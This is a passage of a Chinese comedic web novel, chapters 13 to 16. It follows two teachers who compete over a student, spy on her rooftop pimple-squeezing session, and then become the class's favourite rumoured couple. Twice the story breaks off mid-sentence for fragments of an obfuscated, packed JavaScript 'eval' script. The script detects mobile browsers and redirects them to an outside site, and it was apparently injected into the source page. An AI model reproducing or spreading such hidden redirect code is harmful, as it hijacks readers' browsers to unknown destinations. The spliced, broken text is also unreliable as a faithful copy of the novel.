鲁平:“她请客……” 张聪明:“啊~那我们……” “我们出钱。”鲁平说,“不能让她全出。” “对。” 两位老师难得达成一致。 --- 晚上,火锅店。 五班和三班混坐——梦萱要求的,说“热闹”。 大桌子,四个锅,红汤/清汤/番茄/菌汤。 梦萱坐主位,左边大雄,右边……鲁平和张聪明抢位置,最后一人坐一边。 洐沁坐我旁边,全程记录: 「跨班级聚餐,敌意消解,社交边界模糊化。」 「颠婆通过物质馈赠建立新权力结构。」 「两位老师试图通过买单重新确立地位。」 「大雄的憨憨属性成为人际关系润滑剂。」 火锅沸腾,热气腾腾。 梦萱站起来,举杯(可乐):“今天,两个班,都他妈给力!干杯!” “干杯!” 杯子碰撞。 鲁平小声对张聪明说:“她其实……挺有领导力。” 张聪明:“啊~就是方式独特啊~” 大雄给梦萱夹了片肉:“你爱吃的肥牛。” 梦萱:“谁说我爱吃?” “上次食堂看你打了三次。” “观察挺仔细啊。” “嗯。” 鲁平和张聪明同时夹肉给梦萱。 三双筷子在空中碰撞。 梦萱:“我自己有手!” 三人缩回去。 洐沁在笔记本上写:「三角关系进入稳态,但工具鱼的威胁性上升。」 我看着她:“你能好好吃顿饭吗?” “不能。”洐沁说,“这是珍贵的田野观察时间。” 我:随便吧,不吃我吃,我嚼嚼嚼嚼嚼…… 她夹了片藕,边吃边记。 窗外,夜色渐深。 火锅店灯火通明,笑声不断。 在这个抽象的高中,在这顿意外的火锅宴上,敌意暂时消融,荒诞暂时退场。 剩下的,只是一群高中生,两位奇葩老师,和一个颠婆,在热气腾腾中,短暂地,像正常人一样,吃一顿饭。 虽然下一秒,梦萱就把可乐泼到了大雄身上,因为他把她要吃的虾滑夹走了。 但,至少这一刻,是温暖的。 14. 第 14 章 运动会后的高二五班,进入了一种诡异的“战后和平期”。 主要表现为: 1. 鲁平和张聪明不再公开斗殴,改为暗中较劲——比如比谁的保温杯泡的枸杞更多。 2. 梦萱对大雄的“训练”从操场扩展到全天候,理由是“培养跟班的综合素质”。 3. 洐沁的观察笔记新增了“三角关系热力图”,用三种颜色标注两位老师和大雄的“威胁等级”。 4. 我,班长程穗,负责给这场大型真人秀做场记。 周二下午,自习课。 洐沁突然戳我胳膊,压低声音:“注意看,鲁老师和张老师在实施‘协同作战计划’。” 我抬头。 教室后排,鲁平和张聪明正头对头,凑在一张纸前窃窃私语——那张纸是张聪明用“啊体”写的作战计划书,标题是《关于联合侦查梦萱同学与张大雄同学非正常接触的初步方案》。 “他们什么时候联盟的?”我问。 “昨晚。”洐沁说,“据线报,两位老师在办公室进行了一场长达两小时的‘战略磋商’,最终达成‘搁置争议、共同对外’的共识。” “外是谁?” “大雄。”洐沁推了推眼镜,“憨憨体育生,年轻,有□□,威胁指数爆表。” 纸上,作战计划分为三步: 第一步:情报收集(鲁平负责) ·跟踪梦萱的日常动线 ·记录她与大雄的接触频率、时长、肢体距离 ·分析对话内容(需配录音笔) 第二步:数据分析(张聪明负责) ·将收集到的数据建模 ·计算“亲密值增长曲线” ·预测关系升级时间点 第三步:干预行动(联合执行) ·制造“意外”打断接触 ·以“教师关怀”名义插入对话 ·必要时启动“师德震慑”(即在旁边背教师职业道德规范) 我看完,沉默了,这真的很超前了宝子。 “他们认真的?” “非常认真。”洐沁说,“鲁平甚至借了体育老师的运动服做伪装,虽然他那秃顶在连衣帽下反光更明显了。” 正说着,鲁平起身,背上一个鼓鼓囊囊的背包——里面估计是侦查装备。 张聪明紧随其后,手里拿着个笔记本,封面上写着《啊氏侦查日志》。 两人一前一后走出教室,动作僵硬,像两个刚学会走路的机器人。 “要跟吗?”我问。 “当然。”洐沁收起笔记本,“这种‘中年男性联合追踪青少年’的行为艺术,百年难遇。” --- 下午五点,放学铃声刚响,梦萱就拎着书包冲出教室。 大雄在一班门口等她——他今天穿了件紧身运动T恤,肌肉线条明显,虽然脸还是那张“北斗七星痘图”。 “今天去哪练?”大雄问。 “天台。”梦萱说,“清净。” “天台有蚊子。” “你皮厚,不怕叮。” “哦。” 两人一前一后上楼。 身后二十米,鲁平和张聪明开始了他们的“专业追踪”。 鲁平戴着鸭舌帽、墨镜、口罩——但墨镜是儿童款,太小,卡在脸上像熊猫眼。口罩上印着卡通小猫,和他严肃的表情形成诡异反差。 张聪明的伪装更离谱:他把外套反穿,领子竖起来遮住半张脸,头上戴了顶渔夫帽,但因为头太大,帽子卡在发胶上,像顶了个碗。 洐沁边跟边记录:「伪装水平:幼儿园文艺汇演级别。隐蔽性:负数。喜剧效果:满分。」 我跟在洐沁后面,觉得自己像个傻币。 但更傻币的还在后面。 --- 天台门虚掩着。 鲁平趴在门缝上偷看,张聪明蹲在他下面,从门底缝偷看——但因为肚子太大,蹲不下去,只能撅着屁股,姿势像只准备起跳的虫合/虫莫。 “看到什么了?”张聪明小声问。 “他们在……靠近。”鲁平声音发颤。 “多近啊~” “非常近……脸对脸……” 门内,天台中央。 梦萱把大雄按在墙上——是真的按,一只手撑在他头侧,像壁咚,但气势像抢劫。 “别动。”梦萱命令。 “我不动。”大雄老实站着,“但要干嘛?” “你脸上有颗痘,熟了。” “啊?” “我帮你挤了,忍一下。” 大雄:“……好。” 门外,鲁平和张聪明同时倒吸一口凉气。 “挤、挤痘?”张聪明声音发抖。 “姿势太暧昧了!”鲁平咬牙切齿,“挤痘需要贴那么近吗?需要按在墙上吗?这明显是借口!” 门内,梦萱凑近大雄的脸,手指按在他鼻翼侧的一颗大红痘上。 “可能有点疼。”她说。 “没事。”大雄闭眼,“你挤吧。” 梦萱用力一挤—— “噗!” 一声轻微的爆裂声。 门外,鲁平膝盖一软,差点跪下。 张聪明捂住胸口:“啊~他们……他们……” “他们在接吻!”鲁平绝望地说,“我听到了声音!‘啵’的一声!” “那是挤痘的声音吧……”张聪明还存有一丝理智。 “挤痘哪有‘啵’的声音!那是接吻的声音!” 门内,梦萱挤出一粒白色内容物,满意地说:“好了,这颗解决了。但旁边还有三颗,要不要一起?” 大雄:“都、都行。” “那你再忍忍。” 梦萱换了个位置,这次是下巴上的一颗痘。 她又凑近,脸几乎贴在大雄脸上。 从门缝的角度看,两人的侧影重叠,确实像在接吻。 鲁平崩溃了。 他猛地推开门,冲了进去。 “住手!”他大喊,破锣嗓子在天台回荡,“不对……住嘴!也不对……你们在干什么!” 梦萱和大雄同时转头。 梦萱手里还捏着刚挤出来的痘内容物,一脸莫名其妙:“挤痘啊,看不见?” 鲁平愣住,看向大雄的脸——下巴上确实有颗刚被挤红的痘,旁边还有梦萱的手指印。 “挤、挤痘?”鲁平结巴了。 “不然呢?”梦萱翻白眼,“你以为我们在干嘛?交换唾液研究口腔菌群?” 张聪明也冲了进来,看到现场,松了口气:“啊~果然是挤痘啊~” 但他很快意识到不对——梦萱和大雄的姿势,确实太近了。 近到能感受到对方的呼吸。 近到……不像普通的挤痘。 “挤痘需要贴这么近吗?”张聪明问。 “我近视。”梦萱理直气壮,“离远了看不清。” “你可以戴眼镜啊~” “眼镜坏了。” “那可以让大雄自己挤啊~” “他手笨,挤不干净。” 对话陷入僵局。 这时,大雄憨憨地补了一句:“梦萱挤得挺舒服的,不疼。” 鲁平&张聪明:“!!!” “舒、舒服?”鲁平声音拔高。 “嗯。”大雄点头,“她手法专业。” 梦萱得意:“那当然,我挤过的痘比你吃过的饭还多。” 鲁平脸色发白,摇摇欲坠。 张聪明扶住他:“鲁老师,冷静啊~” “我冷静不了!”鲁平甩开他,指着梦萱,“你一个女生,怎么能……怎么能给男生挤痘!这成何体统!” “痘还分男女?”梦萱嗤笑,“痘就是痘,长在脸上就是碍眼,碍眼就要挤。这是宇宙真理。” “那也不能贴那么近!” “不近怎么挤?你挤过痘吗?” 鲁平噎住了。 他还真没挤过——他是秃顶,但脸上不长痘。 张聪明举手:“我挤过啊~” 梦萱看向他:“那你来挤?你挤得干净吗?” 张聪明犹豫了。 他确实挤过痘,但每次都挤出血,留下疤。 “看吧,技术不行就别bb。”梦萱转身,继续对大雄说,“还有两颗,挤不挤?” “挤。”大雄闭眼,“你继续。” 梦萱又凑过去。 这次,鲁平和张聪明没有阻止。 他们站在原地,看着梦萱和大雄的脸几乎贴在一起,看着梦萱的手指在大雄脸上按压,看着大雄因为疼痛微微皱眉但忍着的表情。 那种……亲密感。 那种……信任感。 那种……“我们之间有你插不进去的氛围”感。 鲁平突然觉得,自己的秃顶更亮了——是心凉透了的反光。 张聪明也觉得,自己的发胶都不油了——是心干涸了的错觉。 他们输了。 输给一个憨憨体育生。 输给几颗痘痘。 鲁平&张聪明:我们哭的好大声Q_Q --- 就在这时,天台的通风管道里,传来“咔嚓”一声。 是洐沁。 她不知什么时候爬进了通风管道——为了最佳观察角度——刚才的“咔嚓”是她拍照的声音。 “谁?!”梦萱抬头。 “是我。”洐沁从管道口探出头,推了推不存在的眼镜,“继续,不用管我,我只是个无情的记录者。” “你他妈在干嘛?” “记录人类挤痘行为的社交意义。”洐沁面不改色,“从生物学角度看,挤痘是一种跨个体寄生虫清理行为,常见于亲密关系之间。你们正在为我的研究提供宝贵数据。” 梦萱:“……你下来,我保证不打死你。” “不下。”洐沁说,“这里有最佳视角。顺便,鲁老师,张老师,你们刚才的反应也很有研究价值——中年男性目睹年轻男女亲密接触时的应激表现,属于‘领地意识受威胁’的典型反应。” 鲁平和张聪明脸红了。 “还有大雄同学,”洐沁继续说,“你对疼痛的耐受度以及将疼痛转化为‘舒服’的认知重构能力,值得深入分析。你是否具有受虐倾向?” 大雄:“啥?” “算了,回头再研究。”洐沁缩回管道,“你们继续挤,我继续拍。对了,梦萱,下一颗是左脸颊那颗,建议用棉签按压边缘,避免感染。” 梦萱:“……” 她最终没继续挤,因为气氛全被破坏了。 她松开大雄,拍拍手:“行了,今天到此为止。大雄,明天继续。” 大雄摸摸脸:“哦,好。” 鲁平忍不住问:“明天还挤?” “不然呢?”梦萱说,“他脸上还有十几颗,得分期处理。” “十几颗?!”张聪明震惊。 “对啊。”梦萱掰手指,“鼻子上七颗北斗七星,下巴三颗,脸颊五颗,额头……算了额头是我的地盘,不长痘。” 她看向两位老师,突然笑了:“怎么,你们也想被挤?排队,等我处理完大雄的。” 鲁平和张聪明同时后退一步。 “不、不用了。”鲁平说。 “啊~我们脸上没痘啊~”张聪明说。 “没痘可以挤黑头啊。”梦萱逼近,“张老师,你鼻子黑头挺多的,我看到了。” 张聪明捂住鼻子:“啊~这是男人的象征啊~”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064648|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “象征个屁,就是脏。”梦萱转身,“走了,大雄,送我回家。” “好。”大雄乖乖跟上。 两人下楼。 留下两位老师,和通风管道里的洐沁,以及门口偷看的我。 我:救命我好像才是最见不得光的。 --- 回教室的路上,鲁平和张聪明一言不发。 走到二楼时,鲁平突然说:“我们输了。” 张聪明:“啊~输给痘痘了啊~” “不是痘痘。”鲁平摇头,“是年轻。” “啊~” “他们有身体接触的理由。”鲁平苦笑,“挤痘,多正当的理由。我们有什么理由?送奶茶?讲数学题?太苍白了。” “那怎么办啊~” “不知道。” 他们走到办公室门口,没进去,就站在走廊里,看着窗外。 夕阳西下,把他们的影子拉得很长,很长。 两个中年男人,一个秃顶反光,一个油腻发亮,背影萧瑟得像两棵被雷劈过的老树。 通风管道里,洐沁爬出来,拍拍身上的灰,对我说:“数据收集完毕。今晚我要写一篇重磅论文。” “什么题目?” “《论痘痘在青少年亲密关系建立中的催化剂作用——以高二年级某三角关系为例》。” “……能发表吗?” “发在我们班群里。”洐沁推推不存在的眼镜,“至少能得个‘年度最抽象研究奖’。” --- 晚上,洐沁真的在五班群发了论文摘要。 包括: 1. 挤痘行为的亲密度量化表(按接触时长、肢体距离、疼痛反馈等指标打分) 2. 两位老师的应激反应分类(否认、愤怒、 bargaining、抑郁、接受——他们卡在第二阶段) 3. 大雄的“痛感重构机制”分析 4. 建议两位老师开发“挤痘替代服务”,如“掏耳朵”“刮胡子”等,以建立合法肢体接触渠道 群里笑疯了。 鲁平和张聪明也在群里,但没说话。 他们可能在看,也可能在哭。 谁知道呢。 --- 第二天,事情出现了神展开。 早自习,鲁平走进教室,脸上……贴了一张痘痘贴? 透明的,贴在鼻翼侧,里面还有脓液——假的,是道具。 全班寂静。 鲁平面不改色:“今天讲《矛盾的特殊性》。就像痘痘,每颗痘痘都有它的特殊性,要具体问题具体分析……” 他讲课的时候,时不时摸一下痘痘贴,表情痛苦。 下课铃响,他走到梦萱座位旁(她来五班找洐沁借东西),指着痘痘贴说:“梦萱同学,我这个……能挤吗?” 梦萱看了一眼:“假的。” “你怎么知道?” “真的痘痘贴会发黄,你这个透亮得像保鲜膜。”梦萱翻白眼,“而且你脸上从来不长痘,秃顶的人油脂分泌少。” 鲁平:“……” 他默默撕掉痘痘贴,走了。 背影比昨天更萧瑟。 五分钟后,张聪明登场。 他没贴痘痘贴,但他……在鼻子上画了颗痘。 用红色圆珠笔画的,很小,但位置精准,就在鼻尖。 他走到梦萱面前:“啊~梦萱同学啊~老师长痘了怎么办啊~” 梦萱盯着那颗“痘”看了三秒,说:“张老师,圆珠笔油有毒,建议擦掉。” 张聪明:“啊~这是真的啊~” “真的痘不会反光。”梦萱说,“而且你画的位置不对,鼻尖的痘是酒糟鼻,不是青春痘。” 张聪明也败退了。 两位老师,在同一天,用同一种方式,试图引起梦萱的注意。 然后,在同一天,被同一种方式,羞辱了。 他们回到办公室,对视。 鲁平:“她怎么什么都知道?” 张聪明:“啊~她是不是专业学过啊~” “可能吧。” “那我们怎么办啊~” “不知道。” 他们坐在办公桌前,一个摸着自己的秃顶,一个摸着自己的油头,陷入了中年危机。 --- 而此刻的天台。 梦萱和大雄又在“训练”。 不过今天不是挤痘,是……贴痘痘贴。 梦萱买了一盒痘痘贴,正在教大雄怎么贴。 “先消毒,然后贴上,等它吸满脓液变白,再撕掉。”梦萱示范,“这样不容易留疤。” 大雄认真学:“哦。” “你自己试试。” “好。” 大雄笨拙地往自己脸上贴,贴歪了。 梦萱骂:“笨死了!你是智障吗?我来!” 她凑过去,帮他贴正。 阳光洒在他们身上,画面竟然有点……温馨? (我也是真的没救了……) 如果忽略内容物是痘痘的话。 通风管道里,洐沁再次就位。 她调整好相机焦距,小声对我说:“看,这就是青春。” “痘痘的青春?” “不。”洐沁按下快门,“是有人愿意为你贴痘痘贴的青春。” 她顿了顿,补充:“虽然那个人只是为了让你当跟班。” 我笑了。 在这个抽象的高中,连温情都这么……奇葩。 但,也挺好。 至少,痘痘有人挤了。 至少,青春有人记录了。 至于两位老师…… 他们大概正在办公室,研究怎么长痘吧。 祝他们成功。 15. 第 15 章 天台挤痘事件后,高二五班的师生关系,进入了全新的“量子纠缠态”。 主要表现为: 1. 鲁平的秃顶反光率提升了37%——据洐沁用光度计测量,是因为“心碎增加了表面抛光效果”。 2. 张聪明的“啊~”频次骤降,取而代之的是深沉的叹息,每次叹气都带着奶茶的甜腻尾韵。 3. 两人开始成对出现,像连体婴,又像破产版的“没头脑和不高兴”。 周三早晨,教室。 同学们目睹了震撼的一幕: 鲁平和张聪明一起走进教室。 不是一前一后,是并排。步伐同步,像国庆阅兵——如果忽略鲁平左脚绊右脚、张聪明肚子撞门框的话。 他们手里各拿一杯豆浆,插着两根吸管。 “鲁老师,张老师,”有同学大胆发问,“你们……喝一杯豆浆?” “资源共享。”鲁平面无表情,“环保。” “啊~这叫成本优化~”张聪明补充,“一根吸管塑料污染,两根吸管双倍污染。我们这是为地球做贡献~” 两人同时低头,吸豆浆。 吸管交叉,像在喝交杯豆浆。 全班寂静。 洐沁迅速记录:「行为同步率92%,初步判断进入‘创伤后依恋共生期’。」 豆浆喝到一半,张聪明突然说:“啊~你的吸管戳到我牙了~” “抱歉。”鲁平调整吸管角度,“现在呢?” “好点了~” 他们继续喝。 王鑫小声问我:“班长,这正常吗?” 我:“在这个班,正常才不正常。”耶,像我,我已经不大正常了。 --- 第一节课,数学。 张聪明讲课讲到一半,突然卡壳:“这个公式啊~……嗯……” 他转头看向后排听课的鲁平:“鲁老师,这个导数怎么证来着?” 鲁平站起来,走到讲台,接过粉笔:“用洛必达法则,上下同时求导。” 他在黑板上演算,字迹工整。 张聪明在旁边看,眼神……温柔? “啊~对~就是这样~”张聪明点头,“同学们看到了吗~这就是学科融合~” 底下同学面面相觑。 五分钟后,张聪明又卡壳:“这个积分啊~……” 鲁平再次上台:“换元积分,令t=sinx。” 他写完,把粉笔还给张聪明,手指碰到手指。 两人同时缩手,像触电。 粉笔掉地上,断了。 全班:“…………” 洐沁记录:「物理接触敏感度升高,疑似进入‘暧昧前期’。」 下课铃响,两位老师一起走出教室,肩膀挨着肩膀。 走廊里,梦萱正好路过。 她看到两人,愣了一下,然后咧嘴笑了:“哟,二位这是……在一起了?” 鲁平&张聪明:“!!!” “没有!”鲁平脸红了——从秃顶边缘开始红,像日出。 “啊~胡说什么啊~”张聪明摸头发,“我们是同事互助~” “互助到喝一杯豆浆?”梦萱挑眉,“行吧,祝你们幸福。记得请我吃喜糖。” 她吹着口哨走了。 留下两位老师,僵在原地,像两尊被雷劈过的雕塑。 --- 中午,教师食堂。 鲁平和张聪明坐在一起吃饭——以前他们从来不同桌。 餐盘里,菜色互补: 鲁平打的全是素:青菜、豆腐、番茄蛋汤。 张聪明打的全是荤:红烧肉、炸鸡排、肉丸子。 然后,他们开始交换。 鲁平夹走一块红烧肉,张聪明夹走一筷子青菜。 鲁平舀一勺肉丸子,张聪明舀一勺番茄蛋汤。 全程无言,默契得像结婚三十年的老夫妻。哦,夫夫。 隔壁桌的语文老师周敏看得目瞪口呆,偷偷拍照发教师群:「见证历史,秃油组合进入共生模式。」 体育老师回复:「他们是不是在搞那个……饭搭子恋爱?」 化学老师:「需要化验饭菜是否下蛊吗?」 校长:「…………每人罚100。】 校长已退出群聊。 老师们:NO!!!!! 吃完饭,两人一起去洗碗。 张聪明挤洗洁精,鲁平开水龙头。 张聪明刷盘子,鲁平冲水。 张聪明递盘子,鲁平擦干。 流水线作业,效率极高。 洗到最后一个盘子时,张聪明手滑,盘子掉进水池,溅了鲁平一身水。 “啊~对不起啊~”张聪明赶紧拿纸巾。 “没事。”鲁平站着不动,让张聪明擦。 张聪明擦得很仔细,从胸口擦到肚子,肚子擦到……停住了。 因为鲁平今天穿了件白衬衫,湿了之后有点透。 透出了里面的……老头背心。 还是洗到发黄的那种。 两人对视,沉默。 然后鲁平说:“这件背心我穿了十年。” 张聪明:“啊~质量真好啊~” “嗯。” 他们继续洗碗。 洗完,一起离开食堂,背影在阳光下重叠。 远处,梦萱和大雄正在小卖部买冰棍。 梦萱看着他们的背影,突然说:“大雄,你觉得他们配吗?” 大雄咬了口冰棍:“谁?” “秃顶和油头。” “哦。”大雄想了想,“一个没头发,一个头发多,挺配的。” 梦萱笑了:“有道理。一个旱死,一个涝死,中和一下正好。” 她掏出手机,在校园墙发了条匿名帖: 「嗑到了!秃油CP今日糖点合集:1.交杯豆浆 2.讲台摸手 3.食堂喂饭(?)4.湿身play。姐妹们,入股不亏!」 五分钟后,帖子火了。 底下回复: 「真的假的?!」 「有照片吗?」 「早就觉得他俩不对劲!」 「师生恋弱爆了,师师恋才是YYDS!」 鲁平和张聪明还不知道自己成了校园顶流CP。 他们正在办公室……研究生发液。 --- 下午,教师办公室。 鲁平从抽屉里掏出一瓶生发液,表情凝重:“这是我托人从日本带的,据说含有生姜、何首乌、黑芝麻精华。” 张聪明凑过来看:“啊~这个牌子我见过啊~电视购物天天播啊~” “电视购物都是骗人的。”鲁平拧开盖子,“但这个有临床数据。” “什么数据?” “每天使用,三个月后毛发密度提升15%。” “才15%啊~” 鲁平沉默,看着瓶子里褐色的液体,眼神哀伤。 张聪明拍拍他肩膀:“啊~没事~秃顶是智慧的象征~你看那些教授~有几个头发多的~” “你呢?”鲁平看向张聪明的油头,“你用哪种洗发水?” “我啊~”张聪明得意,“我用的是去油控油三合一,还带薄荷清凉感~” “给我试试。” “啊?” “我想试试清凉感。” 张聪明从包里掏出一个小瓶,递给鲁平。 鲁平挤了一点在手心,抹在头上——抹在仅存的那圈头发上。 “怎么样?”张聪明问。 “凉。”鲁平说,“像头顶开了空调。” “爽吧~” “爽。” 他们相视一笑。 笑着笑着,突然意识到气氛不对。 太亲密了。 太……gay了。 两人同时后退半步,咳嗽,看向别处。 这时,门被推开。 梦萱拿着作业本进来——她是来交数学作业的,虽然作业是抄的。 看到两位老师红着脸站在一起,桌上摆着生发液和去油洗发水,她笑了: “二位这是……在交流护发心得?” 鲁平:“……嗯。” 张聪明:“啊~对啊~” “挺好。”梦萱放下作业本,“不过建议你们交换用。鲁老师用去油的,治治你那反光;张老师用生发的,免得哪天也秃了。” 她转身要走,又回头:“对了,校园墙那个帖子,你们看了吗?” “什么帖子?” “没什么。”梦萱眨眨眼,“就是一些……美好的祝福。” 她走了。 两位老师赶紧掏手机。 看完帖子,鲁平脸色从红转白再转青。 张聪明则摸着下巴:“啊~写得还挺详细啊~” “你不生气?”鲁平问。 “生气什么啊~”张聪明说,“这说明学生们关心我们啊~” “这是造谣!” “啊~但造得挺有创意啊~” 鲁平盯着他:“你……不介意?” 张聪明沉默了。 半晌,他说:“啊~总比没人关注强啊~” 这句话,戳中了两人共同的痛处。 是啊。 总比被无视强。 总比在梦萱眼里,连颗痘都不如强。 他们收起手机,没再说话。 但也没否认。 --- 放学后,洐沁召开了“五班CP研究小组第一次全体会议”。 参会人员:全班同学。 会议主题:如何科学地嗑秃油CP。 洐沁在白板上画关系图: 「鲁平(攻?受?)←→张聪明(受?攻?)」 「情感基础:共同失恋创伤」 「互动模式:共生依赖」 「未来发展预测:1.友情升华 2.柏拉图式恋爱 3.真·在一起(概率15%)」 王鑫举手:“怎么判断攻受?” “根据行为模式。”洐沁推眼镜,“鲁平是主动照顾型,张聪明是被动接受型。但张聪明有隐性控制欲。目前看,是互攻互受。” “简称互惠互利?” “可以这么理解。” 又有同学问:“我们要助攻吗?” “不。”洐沁摇头,“我们是观察者,不干预自然进程。但可以记录。” “怎么记录?” “成立记录小组。”洐沁分配任务,“A组:摄影组,负责抓拍互动瞬间。B组:文字组,负责写CP小作文。C组:数据分析组,负责统计他们每天对视次数、肢体接触时长、共用物品数量。” 全班热情高涨。 毕竟,比起学习,嗑老师CP有意思多了。 我也被分到任务:负责从班长角度提供“官方数据”,比如他们一起开会的次数、一起批作业的时间等。 我:“这算滥用职权吗?” 洐沁:“这叫物尽其用。” 我:6 --- 周五,两位老师的“暧昧”升级了。 事情发生在下午的教师例会。 校长在讲话,关于“师德师风建设”。 鲁平和张聪明坐在一起——以前他们坐对角线,今天挨着。 会议开到一半,张聪明打瞌睡。 头一点一点,像小鸡啄米。 点着点着,点到了鲁平肩膀上。 鲁平僵住了。 全场老师都看到了。 校长也看到了,停顿了三秒,继续说:“……教师要注重仪表,着装得体……” 张聪明还在睡,甚至咂了咂嘴,嘟囔:“啊~奶茶要全糖啊~” 鲁平没动,就让他靠着。 直到会议结束,校长说“散会”,张聪明才醒。 发现自己靠在鲁平肩上,他吓了一跳:“啊~我怎么……” “你睡着了。”鲁平面无表情,“流了我一肩膀口水。” “对不起啊~” “没事。”鲁平站起来,“走吧。” 两人一前一后离开。 身后,老师们窃窃私语: “他们真在一起了?” “看样子是。” “挺好,内部消化,减少教学事故。” “就是画风有点清奇……” 当晚,校园墙出现了高清照片:张聪明靠在鲁平肩上睡觉,鲁平正襟危坐,嘴角疑似有笑意。 配文:「他为他撑起一片天(的肩膀)。嗑死我了。」 点赞破千。 连外校的都来观光:“这就是传说中的秃油CP?果然名不虚传。” --- 当事人什么反应? 鲁平把那件沾了口水的衬衫带回家,没洗,挂在了衣柜里——这是洐沁的“线人”(鲁平的邻居家小孩)汇报的。 张聪明则去药店买了安神口服液,偷偷塞进鲁平的抽屉——这是打扫卫生的阿姨看到的。 两人都没提这件事。 但周一,鲁平穿了件新衬衫,还是白色,但质地更好。 张聪明换了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064649|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发型——把发胶用量减少了30%,看起来没那么油了。 他们还是一起吃饭,一起下班,一起研究生发液。 只是,气氛更微妙了。 周五放学,大雨。 两人都没带伞。 站在教学楼门口,看着瓢泼大雨,沉默。 “等雨停吧。”鲁平说。 “啊~这雨一时半会停不了啊~” 这时,梦萱和大雄撑着一把伞路过。 梦萱看到他们,笑了:“二位,没伞?要不一起?” 她的伞很小,只够两个人挤。 鲁平和张聪明同时摇头:“不用。” “那你们慢慢等。”梦萱挽着大雄的手,“我们走了。” 他们走进雨里。 大雄的伞往梦萱那边倾斜,自己半个身子淋湿了。 梦萱骂他:“你沙币啊!往这边点!” 大雄憨笑:“没事,我壮。” 两人走远。 鲁平和张聪明看着他们的背影,又看看彼此。 突然,张聪明说:“啊~要不我们冲吧~” “冲?” “跑到公交站啊~” “会淋湿。” “湿就湿啊~” 鲁平犹豫了一下,点头:“好。” 他们把公文包顶在头上,对视一眼,同时冲进雨里。 跑得很狼狈。 鲁平脚滑,差点摔倒,张聪明拉住他。 张聪明肚子大,跑得慢,鲁平等他。 跑到公交站时,两人都湿透了。 头发贴在脸上,衣服贴在身上,像两只落汤鸡。 他们看着彼此,突然笑了。 笑得很大声,笑得喘不过气。 笑完了,张聪明说:“啊~好像回到年轻时候啊~” 鲁平:“你年轻时候也这么胖?” “啊~你年轻时候也这么秃?” 两人又笑。 笑着笑着,安静下来。 雨还在下。 公交站只有他们两个人。 远处,城市的灯光在雨幕中模糊。 张聪明突然说:“其实……现在这样,也挺好。” 鲁平:“嗯。” “至少有人一起淋雨啊~” “嗯。” 公交车来了。 他们上车,并排坐在最后座。 车开动,雨水在车窗上划出痕迹。 谁也没说话。 但有什么东西,在沉默中,悄悄改变了。 --- 周一,五班同学发现了震惊的事实: 鲁平和张聪明的保温杯,换成了情侣款。 同品牌,同颜色,只是图案不同——鲁平的是秃顶小熊,张聪明的是油头小猪。 “这是官宣了吗?!”王鑫激动。 “冷静。”洐沁记录,「情侣用品是关系进阶的重要标志,但还需观察是否还有其他同步行为。」 很快,其他同步行为出现了: 1. 两人开始穿同款不同色的POLO衫——鲁平灰色,张聪明蓝色。 2. 两人都用上了同系列护手霜——据说能防粉笔灰。 3. 两人在办公室的椅子,被挪到了面对面,抬头就能看到对方。 最绝的是,周三的政治课和数学课,两位老师讲了同一个知识点: 鲁平讲“矛盾的对立统一”,张聪明讲“数学中的矛盾方程”。 例题都是:“如果梦萱同学喜欢喝奶茶,又讨厌送奶茶的人,这个矛盾如何解决?” 全班:“……” 这是夹带私货吧! 这绝对是夹带私货吧! 但两位老师讲得很认真,甚至下课还交流了“教学心得”。 “我的解法是从哲学角度,理解她矛盾的心理。”鲁平说。 “啊~我的解法是从数学角度,计算最优解啊~”张聪明说。 “最优解是什么?” “啊~就是我们不要再送奶茶了啊~” 两人相视苦笑。 然后,同时叹了口气。 叹气声同步,像排练过。 --- 周五,洐沁的观察报告出来了: 《秃油CP关系进展评估报告v2.0》 ·情感发展阶段:暧昧后期,即将进入稳定期 ·公开可能性:60%(他们已经不在意被看到了) ·梦萱反应:从嘲讽转为观望,疑似在计算“鱼塘损失” ·大雄反应:无反应,他还在研究怎么挤痘不留疤 ·班级影响:学习氛围下降,嗑CP氛围上升,但师生关系更融洽了 ·建议:保持观察,不干预,不宣扬,但可以偷偷嗑 报告在班里传阅。 同学们纷纷表示:“洐沁,你是我的神!” 洐沁推了推不存在的眼镜:“我只是个无情的科学观察机器。” 但她的嘴角,上扬了0.5毫米。 被我看到了。 --- 放学时,我拦住洐沁:“你真的只是观察吗?” 她看我一眼:“什么意思?” “你好像在……撮合他们。” “我没有。”洐沁否认,“我只是提供了他们需要的……数据。” “什么数据?” “比如,两个人在一起比一个人更容易度过失恋期的数据。”洐沁说,“比如,中年男性情感支持对心理健康影响的数据。我只是把数据‘无意中’放在他们能看到的地方。” 我:“……你这叫没有干预?” “这叫‘环境变量调整’。”洐沁理直气壮,“而且,他们现在不是挺开心的吗?” 我看向办公室。 透过窗户,能看到鲁平和张聪明正凑在一起看手机——大概是在看校园墙的CP帖。 两人脸上都有笑意。 虽然一个秃,一个油。 但,好像真的……挺配的。 “行吧。”我说,“你开心就好。” “我当然开心。”洐沁合上笔记本,“这个课题,够我写到大学毕业了。” 她走了。 我站在原地,看着夕阳把教学楼染成金色。 在这个抽象的高中,什么都可能发生。 老师能为了学生打架。 学生能给老师嗑CP。 秃顶和油头能成为灵魂伴侣。 而我的同桌,能把这一切写成学术论文。 这个世界,太他妈的有意思了。 16. 第 16 章 秃油CP的“官宣”(虽然他们没承认)让梦萱遭遇了鱼塘生涯的滑铁卢。 